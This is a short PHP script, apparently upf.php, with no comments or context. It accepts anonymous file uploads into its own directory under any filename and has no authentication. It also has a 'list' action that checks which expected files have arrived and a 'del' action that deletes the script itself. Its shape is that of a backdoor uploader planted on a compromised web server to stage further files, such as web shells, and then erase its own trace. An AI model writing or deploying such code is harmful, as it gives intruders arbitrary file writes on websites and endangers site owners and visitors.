<?php
if(@$_GET['act']=="del"){
$result=unlink("upf.php");
if ($result){
echo ("ok1ok");
}
}
$path= getcwd()."/";
if(@$_GET['act']=="list"){
$files="Îļþ×é";
$noexist="";
$i=0;
$f=explode("|",$files);
foreach($f as $fs){
$ff=explode(":",$fs);
$fname=$ff[0];
$fsize=$ff[1];
if (@file_exists($path.$fname) && @filesize($path.$fname)+50>=$fsize){
	$i=$i+1;
	if($i>=count($f)){
		echo "allupok";
	}
}
else
{
	if($noexist==""){
		$noexist=$fname;
	}
	else
	{
		$noexist=$noexist."|".$fname;
	}
}
}
echo $noexist;
}
    if(!empty($_FILES)){
        if($_FILES["file"]["error"] == 0){
            move_uploaded_file($_FILES["file"]["tmp_name"],$path.$_FILES["file"]["name"]);
	    if (file_exists($path.$_FILES["file"]["name"])){
            echo $path.$_FILES['file']['name'].' upok';
           }
		   else
		   {
		   echo $path.$_FILES['file']['name']." file no exists.";
		   }

        }
		else
		{
		echo "err".$_FILES["file"]["error"];
		}
    }
?>